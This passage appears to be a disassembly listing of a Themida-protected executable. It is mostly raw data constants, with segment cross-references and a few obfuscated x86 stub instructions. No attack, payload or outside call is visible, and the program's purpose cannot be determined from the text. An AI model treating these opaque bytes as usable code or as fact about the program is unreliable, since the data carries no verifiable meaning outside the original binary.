56AECBDBh, 0E931D132h dd 0ECCDF374h, 0BFB44FE6h, 56EAB159h, 5675B9DBh, 7EAE5632h dd 1854AA65h, 19343C91h, 5951AD05h, 56ABBEB9h, 56DF5832h dd 142DB132h, 0A7A873A4h, 0DD44C40h, 59B462CDh, 94AEB132h dd 43C0D28Bh, 69AA4E35h, 29C0AE27h, 7E037E4Ch, 3675B132h dd 56BAB8DBh, 0A728DB32h, 62350FA8h, 37A2A7D1h, 6CDE2BBFh dd 0A92DB72Eh, 5E68BEE1h, 5975B132h, 56BAB3BFh, 0D3CD132h dd 56AEB7DBh, 73B55332h, 0FB384C8h, 5E50BECBh, 59EAB132h dd 5675B3BBh, 0EDBD132h, 564F3C3Dh, 5B47B132h, 4E57B132h dd 0BBBF1B97h, 4F7E6DBh, 0B1CC248Fh, 567C58F1h, 92AB132h dd 548FD26Ch, 3FDB93Eh, 5657B6DBh, 0C2DD3032h, 4EED3849h dd 0BE1F5DB9h, 5675B132h, 43503068h, 595BAAF4h, 56AEB0BDh dd 36AB4432h, 56ABB6DBh, 0E5543832h, 0BEE30CECh, 2CD60BBFh dd 30DAB729h, 0BE3D7EB9h, 56AEB138h, 7D8280E2h, 0F231A67Bh dd 378B4727h, 5EAF3A53h, 56723E3Dh, 0D5B5B132h, 565DB133h dd 36A938CAh, 5A123A53h, 52EC38C7h, 56D5BFDBh, 0C88B9832h dd 2A3111D6h, 0C733536Ch, 0DD90681Bh, 5E47A177h, 4C57B132h dd 0FF10DC9Bh, 0DF0B17DEh, 5303BD75h, 0B875B132h, 0E9286E64h dd 5949F4B9h, 56AEBFB6h, 565E5832h, 6851B132h, 0FB7B8F16h dd 0DFE9A7E1h, 0BF89A175h, 56BAB135h, 8C8F7A64h, 37C3B55Ah dd 53DDBE52h, 30ABB132h, 2B2C5AB3h, 9F8B43B9h, 5675BDDBh dd 54441B32h, 54AA76B2h, 5A9D744Dh, 564773F9h, 5723BE52h dd 0AAD5B132h, 0BF13D153h, 5675B13Ah, 6FCF9352h, 5D2312B1h dd 5F6B34F4h, 3610B727h, 0A7677AB3h, 8055BA39h, 4C82D03Fh dd 59DDA641h, 56BAB6B1h, 0E7EBD132h, 377D0E3Dh, 7E4604CDh dd 59CBB727h, 0DBB46185h, 4E980DB7h, 868A4D34h, 56B2373Dh dd 0D63DB132h, 0E1A1B7E3h, 3605D0E9h, 5974063Dh, 0DBB4708Dh dd 4D96F2B8h, 0D713D134h, 374C99C2h, 56575863h, 3DB4B132h dd 0B40DC45Fh, 68B1F75Fh, 463C61CDh, 0E7EAB132h, 0BB89B99Dh dd 0F3C0CB53h, 0D4156586h, 0C73469Ah, 564C393Dh, 0DBA4B132h dd 56D5B127h, 56EAA1DBh, 10604532h, 0D8DDD40h, 436AE704h dd 80E59095h, 15D53C33h, 36ADAA4Eh, 56D5BADAh, 2C84AB32h dd 0FDE81643h, 7D333DD5h, 7DE5E9C7h, 37E16F90h, 5A17063Dh dd 0BF733ACBh, 56D5B13Ah, 95307ECAh, 2CEE85A1h, 56A95860h dd 9C89B132h, 9B39FAC2h, 999487BCh, 33ABA8CDh, 4FBDD4CBh dd 59DBBED9h, 5675BCBCh, 56B25832h, 6227B132h, 0E2EFC52h dd 590D4956h, 56ABB0BDh, 95D64432h, 56E6313Dh, 0D67AB132h dd 56BAB134h, 565D3C3Dh, 0D427B132h, 5042A74Bh, 56AA3D3Dh dd 3720B132h, 56FF313Dh, 469CB132h, 0D3BAB132h, 0EFA8FACCh dd 49C2AB0Eh, 0A75FBB10h, 0C348A685h db 0F5h byte_5E6279 db 51h, 0E9h, 0Ch ; DATA XREF: Themida_:0057BFBCo dd 5000000h, 0A0A5EE41h, 460FBA3Fh, 5296F914h, 0E8F5h dd 815A0000h, 1BC863EAh, 0AE96006h, 0BC000000h, 78506FD1h dd 0A63430E0h, 0F28B6696h, 0C8D0F61h, 0E9000000h, 7, 0E87CAEDFh dd 602F2599h, 88790AB9h, 11E958h, 31A80000h, 0BE54741Dh dd 8B59B12Dh, 11B58B16h, 61F0C7F3h, 81666052h, 6697D3F6h dd 61E85EBAh, 1679828Bh, 0DE90615h, 8A000000h, 193BACE5h dd 0CB2B9FD4h, 0ECA5251h, 0C64E6DB9h, 0E1F7F941h, 3830Fh dd 0F9600000h, 5F85A61h, 3039h, 0D6B70F60h, 3880Fh, 0B70F0000h dd 0FF2561C3h, 0E97FFFFFh, 6, 0EF18B2BDh, 8289A94Eh, 6151679h dd 0FE9h, 55645300h, 0E5154D5Fh, 4EB018ADh, 0F586F9A4h dd 78F0F5Ah, 0F000000h, 180h, 6059FC00h, 860Fh, 8B660000h dd 0FC361D1h, 18Dh db 0, 0F9h word_5E6372 dw 0F551h ; DATA XREF: Themida_:0057BCD8o dd 7890F52h, 60000000h, 0B3D98B66h, 810F618Ch, 0Ch, 6820Fh dd 8E0F0000h, 0 dd 0E8h, 0EA815A00h, 61BC96Ah, 0F08B60F5h, 0C1816656h dd 615F3D81h, 0F18B6660h, 0DE9F860h, 0B3000000h, 1BD07FA7h dd 6CEBBDE0h, 90C9FB1Eh, 0C88B6161h, 14E960h, 51970000h dd 89E31D86h, 0F652A5D0h, 0EDDBB575h, 0E301FB96h, 0B96682CDh dd 60611CB9h, 14E9h, 744CDD00h, 0C42A9AC5h, 0A2B65E68h dd 0D80880Ah, 0F3771587h, 7EBA66EDh, 6EE861DAh, 0F8FFFFFEh dd 14E9D233h, 0F8000000h, 3AC106DBh, 0B908C243h, 11F86549h dd 0CE0B5038h, 0F71CA13Ch, 880F60F1h, 1, 2830FFCh, 53000000h dd 10E9615Fh, 23000000h, 2266B130h, 0EA812ECBh, 0CEA08E4Fh dd 8BF00D8Bh, 12E9FCC2h, 93000000h, 7105C7EEh, 19E7AED8h dd 6D9F46D8h, 7EF19121h, 0E9605A49h, 6, 5841E9Fh, 820F3E50h dd 15h, 0FE8h, 30288700h, 0BC0CD60Ch, 0BFD0E3AEh, 0E380FE38h dd 0F9596158h, 1C8E0FC3h, 0F000000h, 168Ah, 11E900h, 3FBD0000h dd 0DBDDBCF1h, 8C81F875h, 5C492EE3h, 8B982B1Eh, 860F60C0h dd 2, 8B61D3B4h, 0C8E0FC0h, 0F000000h, 68Bh, 8D0F00h, 0F5000000h dd 91F4858Dh, 8160061Bh, 0AD6170D1h, 0EE844h, 77300000h dd 72936124h, 0EBF27677h, 0B3BA5B0Bh, 0D0FF615Ah, 7890Fh dd 8D0F0000h, 1, 0C18B66F5h, 78E0Fh, 820F0000h, 1, 4A858DFCh dd 0F5061BC8h, 258D8589h, 8DFC0615h, 1BC94385h, 8589F806h dd 61522A9h, 0F8BF0F60h, 9DF9C681h, 0B8617606h, 0 dd 218D0FF9h, 60000000h, 0FE9h, 31E6C000h, 2B1CCC13h, 4C36A1D6h dd 0A01FFA87h, 5E8h, 87BBD300h, 615E3BE3h, 840FC00Bh, 160h dd 0C585C6FCh, 56061509h, 8830Fh, 800F0000h, 2, 0DF686160h dd 0E9A9C530h, 7, 0F62A3C69h, 0FFDA9F3Dh, 152811B5h, 858DF906h dd 61872BCh, 12850Fh, 0DE90000h, 0C8000000h, 22F4F229h dd 200F4401h, 19812F37h, 0FD0FFFCh, 1C84h, 16850F00h, 0E9000000h dd 11h, 0AC58F826h, 0DAF21F3Ch, 0FF377088h, 73757CF1h dd 57605015h, 582FC080h, 8D61CB8Bh, 1528398Dh, 8B0F6006h dd 5, 8E38166h, 61FE8BD2h, 14E951h, 98D30000h, 6533CC58h dd 7EAA07CAh, 0F20ECF4Ch, 7127BC53h, 46AEBCAh, 1830Fh dd 68F80000h, 1000h, 9E9h, 3D30DF00h, 65D6C7E9h, 0B5FF0E7Fh dd 6150031h, 198B0Fh, 820F0000h, 13h, 0EE9h, 0BCF0F00h dd 834F152Fh, 0B2490C19h, 0F9DC34Ch, 0D85h, 8E900h, 0C030000h dd 6DC96EBBh, 0D0FF65DBh, 5E860h, 9E490000h, 800EE55Ch dd 665B6AC5h, 8B61C38Bh, 150031BDh, 8C0FF506h, 1Ah, 24BB6660h dd 0FE9E4h, 39DD0000h, 0FEC251DBh, 86D6B6EAh, 97C1AD84h dd 7F0361F3h, 8166603Ch, 8AAB11C3h, 0C78161D5h, 0F8h, 2447C7F8h dd 60000020h, 7E9h, 94A2500h, 71ECC27Fh, 0FFD9D8Dh, 8E90615h dd 0E0000000h, 0A8EA7025h, 0FA539AFh, 189h, 38BFC00h, 5E9h dd 0EDB67300h, 0C00B7783h, 3F840Fh, 51600000h, 9916B1BEh dd 0BE9593Bh, 25000000h, 0E5992836h, 4E19E5F9h, 8B611DB3h dd 9880F00h, 60000000h, 8166F28Bh, 61CD33C2h, 0E9044389h dd 0Dh, 0E5653445h, 196237FDh, 0AD3650CDh, 4CF6B9ABh, 5E80023h dd 5E000000h, 13068DAEh, 665FB7B1h, 605BE181h, 7045C781h dd 0B9660000h, 0F7BA92BBh, 6600001Bh, 78BF38Bh, 0B39EB957h dd 815B356Eh, 12CF79C0h, 8141B71Ah, 134A4EF0h, 0D3F08101h dd 0BB116DB0h, 23327830h, 8FC88B50h, 0AE807h, 0BBD40000h dd 67ACB1D6h, 51B19506h, 0EF835EFCh, 60565204h, 83595E61h dd 850F01EAh, 0FFFFFFB6h, 640BB66h, 10E8h, 421C5500h, 6F8A5A4Dh dd 0D701E33h, 2627DB77h, 5860FE1h, 0B8000000h, 75E318C9h dd 0C181F559h, 6D82h, 14E8h, 0E84B5300h, 1B112D9Eh, 643F0A33h dd 42A54081h, 7F4104BCh, 6858CAh, 66000000h, 5A1754BEh dd 1C8B5E52h, 66F96011h, 619F73BAh, 2EA2F381h, 0F3813CACh dd 2017944Bh, 7E9h, 62F65900h, 979B6F22h, 6359F381h, 0BE66554Fh dd 6053BF78h, 3880Fh, 8B660000h, 48F61D3h, 98F0F11h, 0F000000h dd 38Ch, 0A2E88000h, 274E41BEh, 4EA8358h, 0FA81E5B0h, 0FFFF9370h dd 36850Fh, 0F600000h, 28Dh, 0F5CB200h, 178Ah, 12E900h dd 0D7780000h, 29C187F9h, 71207969h, 96E8136Dh, 81FDF7C8h dd 21E961h, 0E6D10000h, 76B79A30h, 0AC741532h, 0D535BF66h dd 0FFFF61E9h, 2AB413FFh, 0EAB696DEh, 0E91143Eh, 0E9EA355Ch dd 23h, 46FF5581h dword_5E68BC dd 7 dup(0) dd 0E9000000h, 0A98h, 1BD01168h, 7A22E906h, 2D68FFFAh dd 0E9061BD1h, 0FFFA7A18h, 1BD2A068h, 7A0EE906h, 0B268FFFAh dd 0E9061BD3h, 0FFFA7A04h, 1BD52F68h, 79FAE906h, 0D868FFFAh dd 0E9061BD6h, 0FFFA79F0h, 1BD7C768h, 79E6E906h, 987DFFFAh dd 3018E3E5h, 96907B4Dh, 321AE5E7h, 9C8E794Bh, 5A50EFE1h dd 0D1B3CAC0h, 4C3C4126h, 0D1B3CAC1h, 4E3E3F26h, 0C0DDD9D6h dd 0DCA72310h, 9F861969h, 432AC7DEh, 43FD4A3Ah, 4BF7F7F4h dd 6BB353E7h, 9ABBA7BEh, 28A729D6h, 8B263F3Eh, 0CC3DAA3h dd 0D9DE12A2h, 4049C55Dh, 0B86BECEFh, 25h, 1D6CC40Ah, 0E20A300Eh dd 9FCAB353h, 0DB791C06h, 7C6FA729h, 0CEA4D9D1h, 0CFD854E0h dd 276BECF7h, 0DFh, 0DE9F8699h, 35482AC7h, 0D7A6A12Ch dd 0BCC1AD58h, 51FCEB76h, 0D67F2657h, 83FAF5A0h, 27071401h dd 0AD3EDE6Ah, 0CD37FF2Ah, 0AD3EE35Ah, 14740904h, 0F0FF7E69h dd 960F6E65h, 231097DFh, 0DA673610h, 0CE61AD3Eh, 0A1D96346h dd 0F83EEB34h, 61CE1D9Bh, 5330B965h, 2B24B1B3h, 0E7A24B52h dd 69B67C01h, 0C583D0C0h, 0AB6AD490h, 0A428F5A7h, 0E0522BA5h dd 0AE3DF43Dh, 651810BDh, 0FBFC2F0Dh, 7198AD40h, 9CE1D382h dd 126B612Ch, 6E8BC3Eh, 0B559D0FAh, 88Ch, 0C5C7B697h, 0A527563Ah dd 789F4DAh, 9BED907Ch, 183FAF0h, 0F8DA34A2h, 8F780385h dd 0F39EEEh, 85800B7Dh, 130098F8h, 230E6633h, 0CF3F36A7h dd 0B393A486h, 0AD3EDEE6h, 0D2AB9FB6h, 224B22CBh, 0A9F0D7A2h dd 0ECA5BCC1h, 0C4F54345h, 300E1D6Ch, 0B353E20Ah, 7EFFE796h dd 1F082EE7h, 135A2306h, 3A896714h, 71F90406h, 0E991ECE4h dd 0E4E2D1BEh, 0A7292CB5h, 2FC32E7h, 0A7292C4Fh, 9851D99h dd 6BEC4880h, 0DA78h, 9F864A00h, 482AC7DEh, 0CD522C35h dd 79AD3EE3h, 0F29DEF8Eh, 8CDB82FBh, 456AFF34h, 0EF66A8F7h dd 0BCBAA946h, 0AD3ED79Dh, 0FB8266FFh, 0AC82AB62h, 0EB933F3Fh dd 5603B353h, 38452CD9h, 0F4A18E02h, 0DEAB83FAh, 0FE392F62h dd 29CA5100h, 5F1643A7h, 866C1916h, 48611C13h, 18C1E891h dd 31F5D162h, 6DAD4172h, 0AC9E2FBCh, 0C45162D1h, 0FFB6AFCEh dd 3C2B5603h, 0D272ADh, 11F8A665h, 7E662356h, 87AF66FFh dd 0E7967C07h, 6AB9371h, 0F69811FAh, 770h, 0C9BBC2B3h dd 51334A3Eh, 0CBBDC0A6h, 57394440h, 0D5B7C6ACh, 0A4866056h dd 230CF7D9h, 0AC9F6A5Ah, 1914FFD1h, 0BFAC6464h, 230D92BFh dd 3B9302A7h, 1B679724h, 0F29548h, 60391B3Ah, 0E68F1667h dd 5B523D8Fh, 8614A222h, 6716FA9Fh, 0C7DE973Eh, 4A3A432Ah dd 0F7F443FDh, 53F283F7h, 6FF623B3h, 3292EBE2h, 2A6D58E5h dd 2C7B1174h, 0A4CAA3B5h, 0B39BFEE9h, 20FAA3CAh, 2E6F218Eh dd 0EF079B19h, 0D76685F8h, 0E1E58DF0h, 574E2F16h, 0D2BA4B58h dd 1C024FABh, 0E7922BEBh, 0B1B8C5AAh, 82D43208h, 0EA2BEB1Bh dd 0C5C0D84Ch, 3ACBD8B8h, 1C614653h, 776E1D55h, 0CF835F06h dd 1D2BEB1Bh, 95204934h, 0D5C6DF9Eh, 0E09DD161h, 3F263EB6h dd 0CCC34E3Eh, 88F5DA6Bh, 92A2DF7Eh, 0E58CBD2Eh, 82D16FBCh dd 0AD618965h, 144534A7h, 5AA907B4h, 0D655F1CDh, 0D8813A9Ah dd 0C3A5F5D1h, 26452E92h, 0BECBB297h, 1B8B1CCh, 2BA73B39h dd 0F355DC5Eh, 68F28E3Dh, 0E363F0BDh, 7B2F74A4h, 6EC42E49h dd 382DAh, 1182EC00h, 0FCEB3AF6h, 53E81402h, 0F2D980B3h dd 85D4B2C1h, 17A729D5h, 9F320C62h, 612838A7h, 889B98E7h dd 0CEC9BFBh, 8FE79DAAh, 38B7F5B5h, 0F178A12Ch, 58D726A2h dd 48EAF75Eh, 0C7641532h, 5E2E4F36h, 5BC1BCB3h, 7D12DBAFh dd 0FDC66821h, 26000005h, 0AD583845h, 2DD8B8C5h, 0BF4A3A43h dd 2BD6B6C7h, 0D5543449h, 56270DE7h, 0D7A68B76h, 56270AF5h dd 0D9A48B76h, 54321FF7h, 0A7230D05h, 0C4B01E97h, 0CE4C376Ch dd 602C6945h, 0C168AD3Eh, 0B4EBB992h, 0EA906E7Dh, 0AAB35376h dd 0F9E3707Fh, 7A80AEC9h, 87223DF5h, 0BD4EDDA0h, 0DAA1620Ch dd 0E27DB5E0h, 0D7B1412Dh, 0E1D0A59h, 7F38A7Fh, 0A729554Ah dd 0DA571F4Ah, 3E69E6DCh, 1641D2ADh, 4CD88B85h, 7BAE77BFh dd 0F6877E09h, 7FD3806Fh, 0A5C0106Ah, 0EFD675BDh, 987A178Eh dd 3931BCE5h, 16801D44h, 0ED896A9Eh, 0B725D75h, 441D6AB9h dd 7CD97201h, 0EB000002h, 0CAB39924h, 0F48927A4h, 3EDE5BFAh dd 691039ADh, 0AD36ECCAh, 0C376B35Ah, 4A243724h, 0A723110Bh dd 6C11FC89h, 0DCA188C5h, 27660CC5h, 0ABB3845h, 0AE225825h dd 0C0A8F1E3h, 44EDA4BDh, 42BA14A7h, 6036E5F1h, 0F73F3E35h dd 0A7C29670h, 210CA723h, 600F85Ch, 57C03E0h, 4EB61h, 2A533800h dd 0C2BBAF5Ah, 2C5137C2h, 0C8B5B15Ch, 26573DC8h, 779107A6h dd 1DE8E895h, 0BC474934h, 5D28A8D5h, 0E1B90B72h, 0B4B0AE4h dd 5C49A723h, 1D6CC4E6h, 0ACEA300Eh, 0C576B35Ah, 0F997ED1Ah dd 89D69CA9h, 412CC9E0h, 0C6C14C3Ch, 2C23AEB7h, 0D2BD5851h dd 3017B2ABh, 0D05E544Dh, 27CF3064h, 0D1ACA3BBh, 28755162h dd 74A72365h, 0DC95E8E1h, 65226F4Fh, 0C772A723h, 77101F6Fh dd 7F6BE680h, 19Bh, 0DE9F8651h, 3A432AC7h, 0F443FD4Ah dd 0E74BF7F7h, 0BE6BB353h, 331DA8A7h, 771A244Ah, 71A729D6h dd 98F16D05h, 606BECEEh, 67h, 4A972472h, 31E16798h, 13AD1E54h dd 0B9427C4h, 112AA057h, 0E66B2867h, 8F823280h, 0D66C4AE7h dd 16B353BFh, 0D837C463h, 60A0D901h, 5302FCEBh, 41A729D5h dd 5B476218h, 0A729D63Ah, 0C5DCA188h, 273E3F28h, 63970B75h dd 0BBAE5F4Ch, 72026CC2h, 0F3F14BF8h, 9CABD2B8h, 571F0362h dd 0EC52CFD8h, 0B3276Bh, 86990000h, 0C8C7DE9Fh, 8025693Bh dd 0C66FF687h, 786DFD89h, 0DCA193C2h, 403D28C5h, 96A18C29h dd 3ECEF998h, 0C76E9BADh, 0E7B29D28h, 48F17805h, 6B4549F1h dd 0AD3ED3F8h, 0B2126B62h, 0CF5CAB05h, 5672A9EFh, 0F8F6EDB3h dd 0A7272259h, 50B7BF67h, 0FD6695ABh, 7706254Ch, 1DE8E895h dd 10D24637h, 94FC13BAh, 36E49DDh, 0C0B50000h, 4840CBBDh dd 0BEA85335h, 4A42CDBFh, 0C4A65133h, 6258D7B9h, 0E9DBA288h dd 7454291Eh, 0E9DBA289h, 7656271Eh, 88D5B19Eh, 14A72309h dd 372431A1h, 3EDF1A37h, 0BFBEA8ADh, 0CE7DB564h, 0ACD1BDDCh dd 5335FCB5h, 0D0C0BDA8h, 0DE9F8682h, 16BBC251h, 27A3F2CCh dd 48F1AD3Eh, 6ABD030Bh, 15109DC4h, 0AF38CB68h, 8E6D3402h dd 11BE1268h, 38CB68B7h, 2365B27Eh, 4BE88E6Ch, 53CCC36Bh dd 0B936E3B3h, 455C210Ch, 7805018Ch, 9CBBA7C2h, 0D0A729C7h dd 3CF4CE66h, 0E600FEEDh, 0CEAD3ED1h, 869B299Bh, 0C8C7DE9Fh dd 0AFEEC8DBh, 0EDAD3EDEh, 0DE93C23Ch, 3D2FAD3Eh, 0FC32E740h dd 0A5275651h, 0E251A018h, 324B44D1h, 52AC822Bh, 0B353E7F4h dd 5F1E1520h, 0BFE68F46h, 29D6B2E3h, 2CB836A7h, 0ECEED7B0h dd 0B011C26Bh, 0AC80C5A7h, 200B3BF3h, 0BD000000h, 0E1D6CC4h dd 53E20A30h, 69FCAB3h, 29DB791Ch, 73FF6FA7h, 0ECF7B2F7h dd 0DB466Bh, 86780000h, 2AC7DE9Fh, 0A5B63548h, 3EDE8CC9h dd 196108ADh, 392A18Eh, 0C988720Bh, 0CBAD3EDEh, 0D2BDD89Eh dd 0DECC8965h, 0A1C8AD3Eh, 0DEE5B492h, 82B7AD3Eh, 3017B2ABh dd 382FDE4Dh, 9F99ED45h, 0AD3EE3BCh, 4B3219A4h, 7D6823h dd 0C99260F3h, 0A9E1EE09h, 1B12FDD1h, 5F4C3B62h, 3E5C325Fh dd 0E59890ADh, 1F4A15BCh, 6FBE7A57h dd 5E748680h, 0F920B353h, 3F8E2A97h, 888D6B0h, 6514AD41h dd 425537C6h, 0A0AC295h, 0DAAA83AFh, 0DC403D2Fh, 0FA069610h dd 0C5790D84h, 5E000001h, 0D5C0106Dh, 6530A0DDh, 0C7B2126Bh dd 632E9EDFh, 0FDBC0C71h, 0FE7F758Fh, 6F0E038Eh, 0FE7F721Dh dd 710C038Eh, 0AC8A871Fh, 0A72308EDh, 8648B6AFh, 0AAF7D9A4h dd 0BE7EE919h, 97DF75E6h, 1C6C11FCh, 373724AEh, 0AD3EDF1Ah dd 2AA7CF7Ah, 0D6B03F8Eh, 0B353E230h, 9F2EBD6Ch, 20D9D0ADh dd 22734F5Ah, 0C6A729DCh, 3142BC28h, 29DC0855h, 0A8E594A7h dd 7978BEBFh, 6BECF830h, 0A7F2DA6Bh, 0EA73BAC3h, 0A05BEB43h dd 6D000000h, 13FA9F86h, 0F33AF36Ah, 8EC847F4h, 1BB57049h dd 0CBC14C53h, 4CCFABB2h, 0F6AD3E3Dh, 0D8A58A0Fh, 69642FA1h dd 823E8D14h, 16A7B433h, 0A0BD4934h, 0FCAD3E3Ch, 2A04254Dh dd 0B3533F08h, 9E2B9DCCh, 5A54D322h, 0AD40E6DDh, 485136C7h dd 2258215Ch, 66171445h, 0EC97F984h, 0DDA17706h, 2FFA06C9h dd 0D6D072h, 684D0000h, 0E0C8B315h, 66602B9Dh, 0E2CAB517h dd 6C5E299Bh, 8A00BF11h, 81037A70h, 1C6C11F6h, 81037A71h dd 1E6E0FF6h, 0F0AD8986h, 0ACA72307h, 0A48649B9h, 210CF7D9h dd 86DE6C5Ch, 0C8C7DE9Fh, 0DEBEDBDBh, 2BDEAD3Eh, 8D911E1Ch dd 6DC5C0D2h, 3696E7DEh, 53E02F89h, 5A00AB73h, 0B13EEBB3h dd 29512C24h, 0B04917Eh, 7C03522Ch, 0E891A723h, 0C3AAE991h dd 483FCABAh, 5302FCEFh, 41A7237Bh, 7B6F2E18h, 0FDF9A723h dd 0A7237B60h, 27520D3Ch, 656B574Eh, 54E80808h, 3B324ADAh dd 0D0B74242h, 0EFCA8767h, 9FCA663Eh, 4A42CFD6h, 66852A33h dd 0EFDC7975h, 91B8663Eh, 0EA730A04h, 0F181EB43h, 3D8FEED9h dd 5225B52h, 260C8D78h, 51581E57h, 3BDh, 66B41300h, 0D1D8A586h dd 2D344944h, 0CDD4A9A0h, 2F364740h, 0D4CDB0A2h, 332A5339h dd 0D6CFAE96h, 8128553Bh, 0E881FCF4h, 58545004h, 405h dd 4E88300h, 5C240487h, 3AD68h, 24348900h, 20DA68h, 24048900h dd 4B3104BEh, 0FFC68343h, 0F26CE81h, 0C6813926h, 8AAC8FD0h dd 24048B54h, 6804C483h, 22BDh, 81243489h, 71022434h, 408F36A3h dd 8708108h, 36A37102h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov esi, [esp] push ecx mov ecx, esp loc_5E735D: ; DATA XREF: Themida_:0057C93Co add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_58E30C ; --------------------------------------------------------------------------- dw 61CAh dd 0A3BD6879h, 1BD8C2B8h, 0FFC50306h, 0D89660E0h, 0D397CE79h dd 68A84B4Ah, 0C21F251Fh, 2D81093Dh, 0DFD46003h, 8491C82Dh dd 5F801112h, 19E42816h, 779B2A1Eh, 3FD8A26h, 8748DF7Eh dd 0FF502615h, 8BC22906h, 0EAC4D022h, 0A1AC0505h, 0CD3C145Ah dd 2483761Fh, 70FA2160h, 6CF80471h, 0CD519421h, 0B9D4A177h dd 2C78040Fh, 0DBD11409h, 2E22D76Fh, 0BF2B7505h, 0AB8D8D18h dd 31061BDAh, 1516CDBDh, 218D8906h, 56061527h, 0CD85C75Eh dd 0B8061504h, 6A000068h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 4591C350h, 4282AA23h dd 0AE960h, 6C3D0000h, 0C413308h, 29368411h, 2799BD8Bh dd 0C7610615h, 15111585h, 6, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0D080846Bh dd 0D858979h, 0FF06152Fh, 152921B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 70144F50h dd 0D1B58B63h, 0FF061505h, 1502C995h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0C75F8F12h, 0C800F3Ch, 0F000000h, 68Ch, 559D3100h, 6A061510h dd 2195FF00h, 8B06152Eh, 374DEBC0h, 9B619C89h, 0FFBBAB91h dd 69E1F855h, 97ECA8E1h, 0F602674h, 97A6670Ch, 8B86977Eh dd 48BB7C5h, 4A22DF66h, 65ED1820h, 0AB825DC4h, 33CD7AD2h dd 0A2F1ADF4h, 0FB3832ABh, 0F1F41753h, 30A457CBh, 92D50E48h dd 8ADEF66Dh, 2620980Bh, 12E8h, 59E400h, 0ED5502A5h, 99094C60h dd 9C156A14h, 6630044Dh, 5EA834BBh, 0D5852957h, 5F061521h dd 7542C681h, 8D890000h, 61522E5h, 0B9h, 8BD78B00h, 13E90E04h dd 0D7000000h, 9337349Fh, 742A2AC8h, 3FB88CBh, 33920B34h dd 0E8815CD3h, 2FEED3EEh, 24599D89h, 0F0810615h, 2602A9EAh dd 879B509h, 0C0810615h, 57C93186h, 0A9C38166h, 0BF0F50F2h dd 0E048FFFh, 0BF66D08Bh, 0E981E7D9h, 34C29E55h, 58D0B60h dd 66061517h, 6191F1BFh, 9E51C181h, 14E934C2h, 0DA000000h dd 5D33C453h, 0BC365167h, 0B02807B8h, 5C40023Eh, 81E3A7E7h dd 0FF8BB8F9h, 24850FFFh, 52000000h, 9E9h, 0AFFC8200h dd 9CA8316Dh, 0E95F4D56h, 2Fh, 0CFB8B469h, 286AC9Ah, 4A469DB8h dd 0E9B439ECh, 0Eh, 879DEB8Ch, 0E4C2C7E5h, 0B16FB8D4h dd 3CE9726Bh, 29FFFFFFh, 0E8552FCBh, 0E932BAF8h, 31h, 1E327FF3h dd 0Bh dup(0) dd 58AE900h, 85680000h, 0E9061BDDh, 0FFF9A20Eh, 1BDE0B68h dd 0A204E906h, 0AE68FFF9h, 0E9061BDFh, 0FFF9A1FAh, 491017Dh dd 0BB5ACA2Fh, 0FC990964h, 0C451C127h, 0FA9B0B6Fh, 4FB3EE9Dh dd 86E936DFh, 54B07F16h, 0A12211E4h, 6B736431h, 9D2EB1D8h dd 81BB3C16h, 6056C624h, 1EB8597Eh, 14599133h, 11EE2898h dd 5CDF4C3Eh, 4405D2ECh, 89136722h, 0C995E08Ah, 0F2980868h dd 0F6C8F8C8h, 908F09E1h, 6CF3C434h, 95A74378h, 0EB2E95C7h dd 92108677h, 2EBAE981h, 4D169C9Eh, 5C6DB40Fh, 3F101693h dd 5C5A6B4Bh, 935CB4D9h, 0E7D64116h, 0D444A60Bh, 0C7F27736h dd 837A9DBDh, 8E000003h, 93B68D4Fh, 5A1086F2h, 0F2A4ED58h dd 76471086h, 68D85A59h, 0C0311F82h, 0D00ED000h, 86F22C75h dd 4DBD4210h, 0FBCC7449h, 92764D0Fh, 0DB169BFBh, 0D59134CAh dd 0A20BF952h, 0CE90AEDEh, 0F5950565h, 0E67802C6h, 0DCDAEB15h dd 0D444C1F2h, 8CBC7C36h, 36ABACB2h, 372C95EDh, 0FB6BCCC7h dd 6731B40Fh, 0D1E21F13h, 38680272h, 2C855767h, 67585ECEh dd 0B5258683h, 0C910B3A9h, 0B41F2277h, 0B76C07E3h, 0D949A834h dd 0C9E656DAh, 477D9A34h, 0D32F45AEh, 398h, 38DD4DA9h dd 7F1686EBh, 10E555B0h, 482D9D23h, 0EE757DBh, 1B9F1299h dd 0D255CAABh, 209C9362h, 0ED4EE5B0h, 1F2F987Dh, 9D2F7DA4h dd 0BD7F0016h, 3DB0BABh, 0A2CE1440h, 6D8E916h, 59EC4DADh dd 169D2E30h, 0F9C5EABBh, 74AF9E3h, 0E6169D2Eh, 2E2970D5h dd 0A7D4169Dh, 0E9E6D040h, 54924C6h, 2E256CD7h, 0F7C8169Dh dd 24941613h, 2E4993F2h, 6DC6169Dh, 3FEC9E0Eh, 91B14CBCh dd 0D2B7D028h, 31260E4h, 0CF2F0000h, 869B65Fh, 0C726FD98h dd 0F71BE57h, 0C929F69Fh, 0ACDFBC59h, 542191F1h, 0DE858DFh dd 4F269616h, 22F363E0h, 0F316ADB1h, 7A169D2Ch, 0BAB43F9h dd 0F2365BEAh, 0E4B51086h, 450F3CBh, 0F916A2CEh, 7D481628h dd 169D2E54h, 0AA640617h, 0FE6ECFE4h, 2E6CB10Ch, 282169Dh dd 2A8FA492h, 0D4BD7CBAh, 8E50FAE9h, 38B19549h, 9674AB31h dd 2895B41Bh, 0B09DC396h, 1EEh, 0B62685AEh, 9C0C7380h dd 0E08AA59Ah, 3BC7243Ch, 544D49B9h, 502D69D9h, 7866507Fh dd 0AB253C5Fh, 0A54514FEh, 0FE970764h, 2F2B7B5Ch, 3A857B82h dd 630777F9h, 8559892Dh, 0D02C8557h, 559CC560h, 4E5F1086h dd 5CC9019Ch, 8394169Bh, 8BF376BBh, 0A2F68657h, 36D4FBBCh dd 3B507DF8h, 26861693h, 0C7380B6h, 11B49A9Ch, 16933BC8h dd 52C3E2B3h, 67D2786Bh, 0E86CD178h, 0A50E9DBDh, 0B37D343h dd 3Fh, 0DB0BAB1Fh, 0DB4BAE03h, 3608E2DBh, 37A70B28h, 95300EFFh dd 1086F24Ch, 